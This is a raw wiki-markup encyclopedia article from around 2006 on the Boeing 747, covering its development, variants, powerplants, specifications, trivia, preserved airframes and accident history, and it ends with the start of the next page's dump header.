The four-engine 747, produced by [[Boeing Commercial Aircraft]], uses a [[double decker|two-deck]] configuration, where the small upper deck is usually used for business-class passengers[http://www.united.com/page/article/0,6722,3071,00.html]. A typical three-class layout accommodates 416 passengers while a two-class layout accommodates a maximum of 524 passengers. A single-class layout could seat up to 624 passengers according to the airplane [http://www.boeing.com/assocproducts/aircompat/acaps/7474sec2.pdf description] by Boeing. The hump created by the upper deck has made the 747 a highly recognizable icon of air travel.

The 747 flies at high-subsonic speeds (typically 0.85 [[Mach number|Mach]] or 570 [[Miles per hour|mph]] or 910 [[km/h]]) and features intercontinental range (8,430 statute miles, or 13,570 km, for the [[Boeing 747-400|747-400]] version).  In some configurations this is sufficient to fly non-stop from [[New York]] to [[Hong Kong]] &amp;mdash; a third of the way around the globe. In 1989, a [[Qantas]] 747-400 flew non-stop from [[London]] to [[Sydney]], a distance of 11,185 miles (18,000 km), in 20 hours and 9 minutes, although this was a delivery flight with no passengers or freight aboard.

[[As of 2006|By January 2006]], a total of 1428 aircraft have been built or ordered in various 747 configurations, making it a profitable product for Boeing [http://active.boeing.com/commercial/orders/displaystandardreport.cfm?cboCurrentModel=747&amp;optReportType=AllModels&amp;cboAllModel=747&amp;ViewReportF=View+Report].
[[image:virgin.b747-400.g-vbig.taxi.arp.jpg|thumb|right|300px|Virgin Atlantic Airways Boeing 747-400 &quot;Tinker Belle&quot; taxiing to the take off point at London Heathrow Airport]]

==History==
===Development===
[[Image:Boeing 747 prototype.JPG|thumb|175px|left|The prototype 747, &quot;City of Everett&quot;, at the [[Museum of Flight]] in [[Seattle, Washington|Seattle]], [[Washington]].]]
The 747 was born from the explosion of air travel in the 1960s. The era of commercial jet transportation, led by the enormous popularity of the [[Boeing 707]], had revolutionized long distance travel and made possible the concept of the &quot;[[global village]].&quot; Boeing had already developed a study for a very large airplane while bidding on a US military contract for a huge airlifter. Boeing lost the contract to [[Lockheed]]'s [[C-5 Galaxy]] but came under pressure from its most loyal airline customer, [[Pan Am]], to develop a giant passenger plane that would be over twice the size of the 707. In 1966 Boeing proposed a preliminary configuration for the airliner, to be called the 747. Pan Am ordered 25 of the initial 100 series. The original design was a full-length double-decker fuselage.  Issues with evacuation routes caused this idea to be scrapped in favor of a [[Wide-body aircraft|wide-body design]].

At the time, it was widely thought that the 747 would be replaced in the future with an SST ([[supersonic transport]]) design. In a shrewd move, Boeing designed the 747 so that it could easily be adapted to carry freight.  Boeing knew that if and when sales of the passenger version dried up (see below regarding the future sales of the 747), the plane could remain in production as a cargo aircraft. The cockpit was moved to a shortened upper deck so that a nose cone loading door could be included, thus creating the 747's distinctive &quot;bulge&quot;. The supersonic transports, including the [[Concorde]] and Boeing's never-produced [[Boeing 2707|2707]], never lived up to expectations, such planes being too expensive to operate profitably at a time when fuel prices were soaring, and also there were difficulties of operating such aircraft due to regulations regarding flying supersonic over land.

The 747 was expected to become obsolete after sales of 400 units.  But the 747 outlived many of its critics and production passed the 1,000 mark in 1993. The expected slow-down in sales of the passenger version in favour of the freighter model has only been realized in the early 2000s, around 2 decades overdue.

The development of the 747 was a huge undertaking. Boeing did not have a facility large enough to assemble the giant aircraft, so the company built an all-new assembly building near [[Everett, Washington]]. The factory is the largest building by volume ever built.

[[Pratt and Whitney]] developed a massive [[high-bypass turbofan engine]], the [[Pratt &amp; Whitney JT9D|JT9D]], which was initially used exclusively with the 747. To appease concerns about the safety and flyability of such a massive aircraft, the 747 was designed with four backup [[hydraulic]] systems, split control surfaces, multiple structural redundancy, and sophisticated flaps that allowed it to use standard-length runways.

During the flight certification period, Boeing built an unusual training device known as &quot;Waddell's Wagon&quot; (named after the 747 test pilot, Jack Waddell) which consisted of a mock-up cockpit mounted on the roof of a truck. It was intended to train pilots on how to taxi the aircraft from the high upper deck position.

Boeing had promised to deliver the 747 to Pan Am by 1970, meaning that it had less than four years to develop, build and test the airplane. Work progressed at such a breakneck pace that all those who worked on the development of the 747 were given the nickname &quot;The Incredibles&quot;. The massive cost of developing the 747 and building the Everett factory meant that Boeing had gambled its very existence on the 747's success, and the company was nearly bankrupted in the early 1970s.

The gamble paid dividends, however, and Boeing enjoyed a monopoly in the very large passenger aircraft industry for years.  In fact, the record and benchmark set by the 747 would only be surpased, more than 35 years after its first delivery, by the [[Airbus A380]], built by Boeing's rival.

===In service===
[[Image:delta.b747.anet.arp.750pix.jpg|thumb|right|Delta Boeing 747, operated by Pan Am, at London Heathrow Airport in May 1974.]]
Initially, many airlines regarded the 747 with skepticism. [[McDonnell Douglas]] (which now has been absorbed by Boeing) and [[Lockheed]], were working on wide-body three-engine &quot;[[tri-jet]]s&quot;, which were significantly smaller than the proposed 747. Many airlines believed the 747 would prove too large for an average long distance flight, investing instead in tri-jets. There were also concerns that the 747 would not be compatible with existing airport infrastructure, similar concerns that the [[Airbus A380]] currently faces, however compounded even more due to its double-decker feature.

Another issue raised by the airlines was fuel efficiency. A three-engine airliner burns significantly less fuel per flight than a four-engine, and with airlines trying to lower costs, fuel efficiency was an important issue that would briefly return to haunt Boeing in the 1970s.

Many of the airlines' fears came to bear in the 1970s. The Arab oil crisis and economic stagnation in the United States lowered the number of airline passengers and made it difficult for airlines to fill their new 747s. [[American Airlines]] replaced coach seats on its 747s with [[piano]] bars in an attempt to attract more customers: eventually, it relegated its 747s to cargo service and then sold them. [[Continental Airlines]] also removed its 747s from service after several years. The advent of smaller, more efficient widebodies, starting with the trijet [[McDonnell Douglas DC-10|DC-10]] and [[Lockheed Tristar|L-1011]] and followed by the twinjet [[Boeing 767|767]] and [[Airbus A300|A300]], took away much of the 747's original market, especially as airline deregulation made point-to-point international service more common. Other airlines that have removed 747s from their fleet include [[Air Canada]], [[Aer Lingus]], [[Scandinavian Airlines System|SAS]], [[TAP Air Portugal|TAP]], and [[Olympic Airways]].

However, many international airlines continued to use the 747 on their busiest routes. The type remained popular among [[Asia]]n airlines for short and medium-range flights between major cities: in [[Japan]], domestic airlines continue to pack 747s to their maximum passenger capacity. Elsewhere, 747s remain popular on long-range trunk routes, such as transoceanic flights and the [[Kangaroo route]]s between Europe and Oceania. The largest fleet of 747s today belongs to [[Japan Airlines]], at approximately 73 (series -200s, -300s and 44 -400s). [[British Airways]] has the largest fleet of 747-400s at 57.

===Future of the 747 ===
Many different stretching schemes for the 747 have been proposed, but the only design to be adopted is 2005's [[747-8]].

The 747-X program was launched in 1996 as Boeing's response to the [[Airbus]] [[Airbus A380|A3XX]] proposal. The 747-X would have consisted of the 747-500X and 747-600X, seating up to 800 passengers. General Electric and P&amp;amp;W formed the [[Engine Alliance]] and designed the [[Engine Alliance GP7200|GP7200]] turbofan to power the stretched 747. Airlines, however, would have preferred Boeing to develop an all-new design instead of an updated 747, and the plan was dropped after a few months.

After the [[Airbus A380]] was formally launched in 2000, Boeing reexamined its 747-X studies but instead devoted its energies to the [[Boeing Sonic Cruiser|Sonic Cruiser]], and then later on the [[Boeing 787|787]] after the Sonic Cruiser program was put on hold for an undefined period. Some of the ideas developed for the 747-X were, however, used in the production of the 747-400ER.

In early 2004, Boeing rolled out tentative plans for what it called the '''747 Advanced'''. Similar in nature to the 747-X plans, the stretched 747 Advanced uses advanced technology from the [[Boeing 787|787]] to modernize the design and its systems.  On [[November 14]] [[2005]], Boeing announced it was launching the 747 Advanced as the [[747-8]]. [http://www.boeing.com/news/releases/2005/q4/nr_051114h.html]

Eventually, the 747 (in all forms) will be replaced by a clean-sheet aircraft dubbed &quot;[[Boeing Y3|Y3]]&quot;.

==Variants==
The 747 exists as several models:

===747-100===
[[Image:Pan_Am_747_LAX.jpg|thumb|right|250px|747-100 in livery of launch customer Pan Am]]

The first model of the jet, the '''747-100''', rolled out of the new Everett facility on [[2 September]] 1968. The prototype, named &quot;City of Everett&quot;, first flew on [[February 9]] [[1969]], and on [[January 1]] [[1970]] the 747-100 entered service  with launch customer [[Pan American World Airways]]. It was later replaced by the '''747-100B''', a very similar aircraft with a stronger airframe and [[undercarriage]] design. The basic 100 has a range of about 4,500 miles (7,200 km) with full load. The US military designation for 747-100 is [[C-19]].

The very first 747-100s off the line were built with three upper-deck windows to accommodate upstairs lounge areas. A little later, as airlines began to use the upper-deck for premium passenger seating instead of lounge space, Boeing offered a ten window upper deck as an option, and it quickly became the standard. Some 100s were even retrofitted with the new configuration. 

Some 747-100 aircraft were converted into freighters and designated '''747-100SF'''.

===747SR===
Boeing developed the '''747SR''' as a 'Short Range' variant of the -100. The SR has a lower fuel capacity, but can carry more passengers--up to 498 passengers in early versions and more than 550 passengers in later models. The 747SR has a modified body structure to accommodate a greater number of take-offs and landings. Later on, short range versions were developed also of the -100B and the -300. The SR aircraft are primarily used on domestic flights in [[Japan]]. 

A few 747-100B/SRs were delivered to [[Japan Airlines]] (JAL) with a stretched upper deck to accommodate more passengers. This is known as the &quot;SUD&quot; (stretched upper deck) modification.

Currently [[ANA|All Nippon Airlines]] (ANA) is operating 747SR on domestic Japanese routes with 455-456 seats but will retire the aircraft on [[10 March]] [[2006]]. JAL operates its 747-100B/SR/SUD aircraft with 563 seats on domestic routes and has not announced plans for retirement. JAL and [[JALways]] have also been operating the -300SRs on leisure routes domestically as well as to other parts of [[Asia]] and [[Australia]]. 

One ex-JAL '''747SR-46''', registered N911NA, is currently being operated by [[NASA]] as a [[Shuttle Carrier Aircraft|Space Shuttle Carrier Aircraft]]. (It joined an ex-[[American Airlines]] '''747-123''' in 1988 due to a recommendation from the [[Space Shuttle Challenger disaster|Challenger]] [[Rogers Commission Report|inquiry board]] to have two SCAs, and the aircraft first carried a shuttle in 1991.)

===747-200===
Introduced in 1971, and further improved over successive years, the '''747-200''' had more powerful engines and higher takeoff weights than the -100, allowing it to fly further. A few early build -200s retained the three window configuration of the -100, but most were built with a ten window configuration. As on the -100, a stretched upper deck modification was offered much later.  [[KLM]] remains the only airline to retrofit their -200s with the SUD option. The last models of the 200, the 200B, built in the late 1980s, have a full load range of about 6,700 miles (10,800 km). The US military designation for 747-200B is [[C-25]]. The USAF only operates two [[C-25]], in VIP configuration ([[VC-25A]]). These two aircraft, tail numbers 28000 and 29000 are better known as [[Air Force One]] when the [[President of the United States]] is onboard.

The '''747-200C Convertible''' and '''747-200F Freighter''' variants were designed to carry [[air freight]]. The 747-200F is a pure freighter, while the 747-200C is a &quot;convertible&quot; aircraft that can carry either passengers or freight. A sub-variant is unofficially called the '''747-200M''' and is a &quot;combi&quot; aircraft that can carry both at the same time. Like the 100, many 200s have been given a new lease on life as freight aircraft.

The '''747-200B''' is an improved version of the 747-200, with increased fuel capacity and more powerful engines. It comes in a combi version as well.

===747SP===
[[Image:SOFIA.jpg|thumb|right|250px|747SP refitted as the [[SOFIA]] astronomical observatory]]

The '''747SP''', or &quot;Special Performance,&quot; was first delivered in 1976. The SP was largely a stop-gap model to compete with the [[McDonnell Douglas DC-10]] and [[Lockheed L-1011]]. The 747 was simply too big for many routes, and Boeing did not have a mid-sized widebody to compete in the segment of the market that the DC-10 and L-1011 had created. Crippled by the huge costs it had incurred in developing both the 737 and 747 in the late 1960s, Boeing could not afford to develop an all-new design, so instead it shortened the 747 and re-optimized it for speed and range at the expense of capacity.

Apart from having a shorter fuselage, the 747SP differs from other 747 variants in having a larger tail surface and larger single-piece [[flap (aircraft)|flaps]] on the [[trailing edge]]s (other 747s use triple flaps). The SP could typically only accommodate 220 passengers in a 3-class cabin, but could fly over 6,500 miles (10,500 km) at speeds of up to 610 [[Miles per hour|mph]] (980 km/h). Some airline insiders call it the &quot;74 Short&quot; or &quot;Baby Jumbo&quot; because of its shortened fuselage, and stubby appearance.  Originally designated '''747SB''' (standing for Short Body), by Boeing, the airlines had Boeing change the production designation to 747SP.

The 747SP was the longest-range airliner available until the [[Airbus A340]], and found its way into the fleets of [[American Airlines]], [[Qantas]], and [[Pan American World Airways|Pan Am]], airlines that needed its range for trans-South Pacific routes (American later used its 747SPs for services to [[Tokyo]]). Pan Am also used their 747SPs on their trans-pacific flights to and from Hong Kong. Prior to the 1979 Islamic revolution, [[Iran Air]] used the type on their daily Tehran-New York flight, at the time the longest non-stop airline route in the world. The 747SP was also used [[South African Airways]] on flights from [[Johannesburg]] to [[London]], during the [[Apartheid]] years, when that airline's aircraft were not allowed to fly over African countries and had to fly around the Bulge of Africa. The extra range allowed aircraft to cover the additional distance. With [[seven]] of these jets, [[South African Airways|SAA]] had the largest fleet of 747SP's in the world at the time.

For all its technical achievements, the SP never sold as well as Boeing hoped.  Only 45 were ever built and most that are still in service are used by operators in the [[Middle East]].

One special 747SP is the [[SOFIA]] astronomical observatory, where the airframe was modified to carry a 2.5-meter-diameter [[infrared]] [[reflecting telescope]] to high-altitude, the limit to which infrared penetrates the atmosphere. Originally delivered to Pan Am and titled &quot;Clipper Lindbergh&quot;, [[NASA]] has displayed the name in Pan Am script on the plane. It will fly again in late 2005.

The 747SP was originally intended to be known as the 747SB (the SB logically standing for &quot;Short Body&quot;, before it was nicknamed &quot;Sutter's Balloon&quot; by Boeing employees, being named after 747 chief engineer Joe Sutter). Eventually the name &quot;Special Performance&quot; was used instead.

===747-300===
[[image:pia.b747.arp.750pix.jpg|thumb|right|250px|[[Pakistan International]] (PIA) Boeing 747-300 landing at [[London Heathrow Airport]].]]
The first incarnation of the 747-300 would have been a trijet version of the 747SP, intended to compete with the [[McDonnell Douglas DC-10|DC-10]] and [[Lockheed L-1011|L-1011 TriStar]]. This plan was scrapped due to insufficient demand.

The '''747-300''' name was revived for a new aircraft, which was introduced in 1980, and was the first 747 model to feature a &quot;stretched upper deck,&quot; which increased its capacity over earlier models. Combi ('''747-300M''') and short range ('''747-300SR''') models (mainly for Japanese domestic routes) were also built. The upper deck was now accessed via a straight staircase, rather than the spiral steps that featured in the 100 and 200. The maximum range of a 747-300 is 7,700 miles (12,400 km).

Airlines currently operating a large number of this type are [[JAL]]/[[JALways]], [[Air India]], [[Saudi Arabian Airlines]], [[Pakistan International Airlines]] (PIA), [[Qantas]], and [[Thai Airways]].

===747-400===
[[Image:britaw.b747-400.g-bnlo.arp.jpg|thumb|right|250px|British Airways Boeing 747-400 landing at [[London Heathrow Airport]].]]{{main|Boeing 747-400}}
The '''747-400''' is the latest completed model of the 747, and also the only series currently in production. It added 6ft(2m) wing tip extensions and 6ft(2m) [[winglet]]s, an all-new [[glass cockpit]] which dispensed with the need for a flight engineer, tail fuel tanks, revised engines, an all-new interior, and newer in-flight entertainment to the basic design of the -300 series. It first entered service in 1989 with [[Northwest Airlines]]. [[China Airlines]] was the first airline to take the new &quot;Signature Interior&quot; with the China Airlines/Boeing livery 747-400, the aircraft entering service in 2005.

The 747-400 is about 25 percent more fuel efficient than the 747-100, and twice as quiet. It is available in all passenger, combi ('''747-400M''') and freighter ('''747-400F''' and '''747-400SF''') variants. Until the Airbus A380 officially enters service, the Japanese domestic variant, the 747-400D, is potentially the highest-capacity passenger aircraft in the world: ANA used to operate a few of its 747-400Ds in an all-economy 594-seat configuration. However, since the two Japanese operators JAL and ANA have fitted the aircraft with bigger [[business class]] areas, the highest number of seats at the moment on a passenger airplane is 587 on 747-400 aircraft operated by the [[France|French]] airline [[Corsair (airline)|Corsair]]. The -400D lacks the wing tip extensions and winglets included on other variants, allowing for increased number of takeoffs and landings by lowering wing stresses.  The -400D may be converted to the long range version when needed.  

The US military designation for 747-400 is [[Boeing C-33|C-33]], intended to augment the [[C-17 Globemaster III|C-17]] fleet, but the plan was cancelled in favor of purchasing additional C-17 military transports.

The '''747-400ER''' is 400's extended range version: it also comes in an all-freight version, the '''747-400ERF'''.

===747 Large Cargo Freighter===
[[Image:Boeing 747-400LCF 2.jpg|thumb|right|250px|Large Cargo Freighter]]
Boeing announced in October 2003 that due to the high cost of shipping, air transport will be the primary method of transportation for [[Boeing 787|787]] parts (as opposed to [[marine transport|shipping]]). Passenger 747-400 aircraft are to be converted into an outsize configuration, in order to ferry sub-assemblies to [[Everett, Washington|Everett]], [[Washington]] for final assembly. It has a bulging fuselage like the [[Aero Spacelines Super Guppy|Super Guppy]] or [[Airbus Beluga]] cargo planes used for transporting wings and fuselage sections. The conversion, designed by Boeing, is to be carried out in [[Taiwan]] by a subsidiary of the [[Evergreen Group]]. Boeing has purchased two former [[China Airlines]] aircraft which are currently being modified and a third aircraft, yet to be acquired, will be added later. 

Delivery times for the wings &amp;mdash; built in Japan &amp;mdash; will be reduced from around 30 days to one day with the 747 LCF. The Large Cargo Freighter can hold three times the volume of a 747-400F freighter. (See: Boeing news releases [http://www.boeing.com/news/releases/2003/q4/nr_031013g.html], [http://www.boeing.com/news/releases/2005/q1/nr_050222g.html], [http://www.boeing.com/news/releases/2005/q1/nr_050218g.html]). [[Evergreen International Airlines]], which is unrelated to the Evergreen Group, will be the operator of the LCF fleet. [http://www.evergreenairlines.com/p_releases/121505.html]

=== 747-8 ===
{{main|Boeing 747-8}}
[[Image:Boeing 747-8I Large.jpg|thumb|350px|right|Compared to previous 747s, the 747-8 Intercontinental is “stretched” in two bands for a total extension of 11.7 feet.]]
Boeing announced a new 747 model, the '''747-8''' (referred to as the '''747 Advanced''' prior to launch) on [[November 14]] [[2005]], which will use same engine and cockpit technology as the [[Boeing 787|787]] (They decided to call it the 747-8 because of the technology it will share with the 787, also called ''Dreamliner''). Boeing claims that the new design will be quieter, more economical and more environmentally friendly. The passenger version (dubbed '''747-8 Intercontinental''') will be capable of carrying up to 450 passengers in a 3-class configuration and fly over 8,000 nautical miles (14,816 km) at 0.86 [[Mach number|Mach]]. As a derivative of the already common 747-400, the 747-8 has the economic benefit of similar training and interchangeable parts.

According to [http://quote.bloomberg.com/apps/news?pid=conews&amp;tkr=BA:US Bloomberg], Boeing is staking its position as the dominant maker of the biggest passenger planes on selling [[Pakistan International Airlines]] Corp. and other Asian carriers the first of a longer, more fuel-efficient version of its 747-8 model.

===Government and military===
The current [[President of the United States|U.S. presidential]] aircraft, [[VC-25A]], is among the most famous 747 models. It is popularly known as ''[[Air Force One]]'', although that name technically refers to any [[United States Air Force]] aircraft carrying the President. VC-25A is based on the civilian 747-200, though it contains many of the innovations introduced on the 747-400 (such as an updated flight deck and engines.) Other special 747s include the [[E-4B]] National Emergency Airborne Command Post (referred to colloquially as &quot;Kneecap&quot;), modified 747s to transport the [[Space Shuttle]] ([[Shuttle Carrier Aircraft]]), and [[aerial refueling]] [[Tanker (aircraft)|tanker]]s. A recent addition to the military's 747 arsenal is the experimental [[Airborne Laser]], a component of the [[National Missile Defense]] plan. [[T/Space]] is also planning to use a 747 for its CXV space capsule proposal.

A number of other governments also use the 747 as a VIP transport, including [[Bahrain]], [[Iran]], [[Japan]], [[Oman]], [[Qatar]], [[Saudi Arabia]], [[Taiwan]], [[United Arab Emirates]], and [[Brunei]].

==Powerplants==
(For the last versions of each series offered)
*'''747-100'''
**four [[Pratt &amp; Whitney JT9D|Pratt &amp; Whitney JT9D-7A]] turbofans
*'''747-200/300'''
**four [[Pratt &amp; Whitney JT9D|Pratt &amp; Whitney JT9D-7R4G2]] turbofans ''or''
**four [[Rolls-Royce RB211|Rolls-Royce RB211-524D4]] turbofans ''or''
**four [[General Electric CF6-50|General Electric CF6-50E2]] turbofans
*'''747-400'''
**four [[Pratt &amp; Whitney PW4000|Pratt &amp; Whitney PW4062]] turbofans ''or''
**four [[Rolls-Royce RB211|Rolls-Royce RB211-524H]] turbofans ''or''
**four [[General Electric CF6|General Electric CF6-80C2B5F]] turbofans
*'''747-8'''
** four [[General Electric GEnx]] turbofans

== Technical data ==
{|
|- bgcolor=&quot;#DDDDDD&quot;
!Measurement
!747-100 (initial version)
!747-400ER (current version)
!747-8 Intercontinental[http://www.boeing.com/commercial/747family/747-8_fact_sheet.html]
|- bgcolor=&quot;#EEEEEE&quot;
|Length || align=&quot;center&quot; | 70.7 m || align=&quot;center&quot; | 70.7 m || align=&quot;center&quot; | 74.2 m
|- bgcolor=&quot;#EEEEEE&quot;
|Span || align=&quot;center&quot; | 59.6 m || align=&quot;center&quot; | 64.4 m || align=&quot;center&quot; | 68.5 m
|- bgcolor=&quot;#EEEEEE&quot;
|Height || align=&quot;center&quot; | 19.3 m || align=&quot;center&quot; | 19.4 m || align=&quot;center&quot; | 19.4 m
|- bgcolor=&quot;#EEEEEE&quot;
|Wing area || align=&quot;center&quot; | 511 m² || align=&quot;center&quot; | 541 m² || align=&quot;center&quot; | ?
|- bgcolor=&quot;#EEEEEE&quot;
|Weight empty || align=&quot;center&quot; | 162.4 t || align=&quot;center&quot; | 180.8 t || align=&quot;center&quot; | ?
|- bgcolor=&quot;#EEEEEE&quot;
|Maximum take-off weight || align=&quot;center&quot; | 340.2 t || align=&quot;center&quot; | 412.8 t || align=&quot;center&quot; | 435.4 t
|- bgcolor=&quot;#EEEEEE&quot;
|Cruising speed || align=&quot;center&quot; | .84 Mach|| align=&quot;center&quot; | .855 Mach || align=&quot;center&quot; | .855 Mach
|- bgcolor=&quot;#EEEEEE&quot;
|Maximum speed || align=&quot;center&quot; |  .89 Mach || align=&quot;center&quot; |   .92 Mach || align=&quot;center&quot; | .92 Mach
|- bgcolor=&quot;#EEEEEE&quot;
|Range fully loaded &amp;nbsp; || align=&quot;center&quot; | 9,040 km || align=&quot;center&quot; | 14,200 km || align=&quot;center&quot; | 14,815 km
|- bgcolor=&quot;#EEEEEE&quot;
|Max. fuel capacity &amp;nbsp; || align=&quot;center&quot; | 183,380 litres || align=&quot;center&quot; | 241,140 litres || align=&quot;center&quot; |  227,600 litres
|- bgcolor=&quot;#EEEEEE&quot;
|Max. fuel/Range, fully loaded &amp;nbsp; || align=&quot;center&quot; | 20.3 litres/km || align=&quot;center&quot; | 17.0 litres/km || align=&quot;center&quot; | 15.4 litres/km
|- bgcolor=&quot;#EEEEEE&quot;
|Cargo capacity &amp;nbsp; || align=&quot;center&quot; | 170.6 CBM (5 [[Unit Load Device|pallets]] + 14 LD1s) || align=&quot;center&quot; | 158.6 CBM (4 pallets + 14 LD1s) || align=&quot;center&quot; | 275.6 CBM (8 [[Unit Load Device|pallets]] + 16 LD1s)
|- bgcolor=&quot;#EEEEEE&quot;
|Engines (example) || align=&quot;center&quot; | 4 &amp;times; Pratt &amp; Whitney JT9D, 209 kN thrust each|| align=&quot;center&quot; | 4 &amp;times; General Electric CF6-80, 274 kN thrust each|| align=&quot;center&quot; | 4 &amp;times; General Electric GEnx-2B67, 296 kN thrust each
|- bgcolor=&quot;#EEEEEE&quot;
|Cockpit Crew || align=&quot;center&quot; | Three || align=&quot;center&quot; | Two  || align=&quot;center&quot; | Two
|}

==Facts &amp; trivia==
[[Image:Giant Plane Comparison.jpg|thumb|right|A size comparison between four of the largest aircraft. Click to enlarge.]]
*A 747-400 has six million parts (half of which are fasteners) made in 33 different countries.
*Just one engine on a 747 produces more thrust than all four engines on an early model [[Boeing 707]] combined.
*When pressurized, a 747 fuselage holds over a ton of air.
*Early model 747s have more than 700lbs (300 kg) of [[depleted uranium]] molded into the engine nacelles. Its purpose is as ballast to prevent the wing from fluttering.
*At the time of its launch, the term &quot;jumbo jet&quot; had already been coined by the media to describe a general class of new wide-bodied airliners then being developed, including the [[Lockheed L-1011]] TriStar and [[Douglas DC-10]]. Boeing was quite keen to discourage the media and the public using the term &quot;jumbo jet&quot; for the 747, but their efforts were in vain, and now the term is synonymous with the 747.
*Due to its immense length, there is a very small flexure of the fuselage in flight. This effect was not anticipated in the design of the autopilot on early models, and so there is a very slow oscillation in yaw when flying on autopilot. This was first discovered on an overseas flight to the Paris Airshow, when some of the people in the rear got air sick. Upon return, the plane went through a shake test for two weeks to sort out the problem and adjust the yaw damper system. This solved the problem and the effect is now too small to be noticeable by passengers.
*To enable easy transportation of spare engines between sites by airlines, early 747s include the ability to attach a non functioning fifth-pod engine under the port wing of the aircraft, between the nearest functioning engine and the fuselage. Photographs of planes flying in this configuration are highly prized by aircraft enthusiasts. [http://www.airliners.net/open.file/783444/M/] [http://www.airliners.net/open.file/763404/M/]
*There are other aircraft with prominent humps on the upper fuselage including the [[Carvair]], which was built from 1961 to 1969. Its most notable appearance is in the 1964 [[James Bond]] movie ''[[Goldfinger]]''.
*In the 1970s 747 pilots nicknamed the Jumbo Jet, &quot;The Queen of the Skies&quot; because of its huge size and capacity.
*Although the upper deck might seem small compared to the size of the whole aircraft, it can seat a significant number of people: JAL has 86 seats on the upper deck of its B747-400D aircraft.
*The 747 is certified to fly on 3 of its 4 engines. A 747 can successfully take-off even if an engine fails after rotation, and in many cases the flight will continue to its destination.

==Preserved aircraft==
As increasing numbers of 'classic' 747-100 and 747-200 series are retired, some are finding their way into aircraft museums. They include:

* Boeing 747-100 [http://162.58.35.241/acdatabase/NNumSQL.asp?NNumbertxt=7470 N7470], &quot;City of Everett&quot;, the first 747 prototype [[Museum of Flight]], [[Seattle, Washington|Seattle]], [[Washington]], [[USA]]
* [[KLM]] 747-200(SUD) PH-BUK &quot;Louis Blériot&quot; at [[National Aviation Theme Park Aviodrome]], [[Lelystad]], [[Netherlands]]
* [[Qantas]] 747-200 VH-EBQ &quot;City of Bunbury&quot; at [[Qantas Founders Outback Museum]], [[Longreach Airport]], [[Longreach]], [[Queensland]], [[Australia]]
* [[South African Airways]] 747-200 ZS-SAN &quot;Lebombo&quot; and 747SP ZS-SPC &quot;Maluti&quot; at [[Rand Airport]], [[Johannesburg]], [[South Africa]]
* [[Lufthansa]] 747-200 D-ABYM &quot;Schleswig-Holstein&quot; at [[Technik Museum Speyer]], [[Speyer]], [[Germany]]
* [[Air France]] 747-100 F-BPVJ at [[Musée de l'Air et de l'Espace]], [[Le Bourget airport]], [[Paris]], [[France]]
* [[Iran Air]] 747SPs EP-IAA and EP-IAC and 747-200F EP-ICC at [[Tehran Aerospace Exhibition]], [[Tehran]], [[Iran]]

==Disasters==
===Specific accidents===
The 747 has been involved in a number of air disasters. However, very few have been due to design flaws in the aircraft itself: as with most air accidents, most have been because of human error, improper maintenance, or in a few cases, [[terrorism|terrorist]] or military action.

* [[Lufthansa flight 540]], Nairobi, 1974
* [[Tenerife disaster]], 1977
* [[Air-India flight 855]], Arabian Sea, 1978
* [[Korean Air flight 007]], Sea of Okhotsk, 1983
* [[Avianca flight 011]], Madrid, 1983
* [[Air-India flight 182]], Atlantic Ocean, 1985
* [[Japan Airlines Flight 123]], Tokyo, 1985
* [[South African Airways flight 295]], Indian Ocean, 1987
* [[Pan Am flight 103]], Lockerbie, 1988
* [[United Airlines Flight 811]]. Honolulu, 1989
* [[China Airlines flight 358]], Taiwan, 1991
* [[Bijlmermeer disaster|El Al cargo flight 1862]], Amsterdam 1992
* [[Philippine Airlines Flight 434]], Okinawa, 1994
* [[TWA Flight 800]], Long Island, 1996
* [[Saudia flight 763]], Delhi, 1996
* [[Korean Air flight 801]], Guam, 1997
* [[Singapore Airlines Flight 006]], Taipei, 2000
* [[China Airlines flight 611]], Penghu Islands, 2002

===Accident summary===
See [http://aviation-safety.net/database/type/type.php?type=104 Aviation Safety Network] for authoritative figures.

*Hull-loss Accidents: [http://aviation-safety.net/database/dblist.php?field=typecode&amp;var=104%&amp;cat=%1&amp;sorteer=datekey&amp;page=1 33] with a total of 2850 fatalities
*Other hull-loss occurrences: 6 with a total of 857 fatalities
*Hijackings: 30 with a total of 22 fatalities

==External links==
* [http://www.flightinternational.com/Articles/2006/02/14/204691/Boeing+747-8+vs+A380+A+titanic+tussle.html Flight International Compares Boeing 747-8 vs A380]
* [http://www.project-tenerife.com/ Two Boeing 747 collided on Tenerife]
* [http://www.boeing.com/commercial/747family/ Boeing.com]
* [http://www.newairplane.com/747e-brochure/ Boeing 747 e-brochure] - [[Macromedia Flash|Flash animation]]
* [http://www.airliners.net/info/stats.main?id=97 Airliners.net - Boeing 747-100 &amp; 200]
* [http://www.airliners.net/info/stats.main?id=99 Airliners.net - Boeing 747-300]
* [http://www.airliners.net/info/stats.main?id=100 Airliners.net - Boeing 747-400]
* [http://www.airliners.net/search/photo.search?cnsearch=24741/787&amp;distinct_entry=true Airliners.net 747 images]
* [http://www.747sp.com/ Boeing 747SP Website]
* [http://www.gocalipso.com/aircraft/boeing747/boeing747.php Calipso: Boeing 747 Information &amp; History]
* [http://www.aircraft-info.net/aircraft/jet_aircraft/boeing/747-400/ Aircraft-Info.net - Boeing 747-400]
* [http://www.planemad.net/data/list/Boeing/747/ Planemad.net - Boeing 747 Production Lists]
* [http://www.boeing.com/commercial/747family/pf/pf_classics.html Boeing 747 Family - 747 Classics (100, 200 and 300)]
* [http://www.boeing.com/commercial/747family/pf/pf_400er_prod.html Boeing 747-400ER]
* [http://airtransportbiz.free.fr/Aircraft/747-200X.html Boeing 747-200X, AirTransportBiz, Alain Mengus, October 2002]

==Related content==
{{Giant aircraft}}
{{commons|Boeing 747}}
{{aircontent|
|links=yes
|has sequence=yes
|has relations=yes
|has lists=no

|sequence=
* [[Boeing 727|727]] - [[Boeing 2707|733]] - [[Boeing 737|737]] - '''747''' - [[Boeing 757|757]] - [[Boeing 767|767]] - [[Boeing 777|777]] - [[Boeing 787|787]]

|related=
*[[Airborne Laser]]
*[[Boeing E-4|E-4]]
*[[Boeing VC-25|VC-25]]
*[[Shuttle Carrier Aircraft]]

|similar aircraft=
*[[Airbus A340|Airbus A340-600]]
*[[Airbus A380]]
*[[Ilyushin Il-96]]

|has lists=no
|lists=

|see also=[[Boeing 747-400]]

}}

[[Category:U.S. airliners 1960-1969]]
[[Category:U.S. cargo aircraft 1960-1969]]

{{Link FA|fr}}

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  </page>
  <page>
    <title>Battle of Agincourt</title>
    <id>4615</id>
    <revision>
      <id>41828968</id>
      <timestamp>2006-03-02T00:35:24Z</timestamp>
      <contributor>
        <username>Stbalbach</username>
        <id>87883</id>
      </contributor>
      <comment>/* Popular Myths */</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
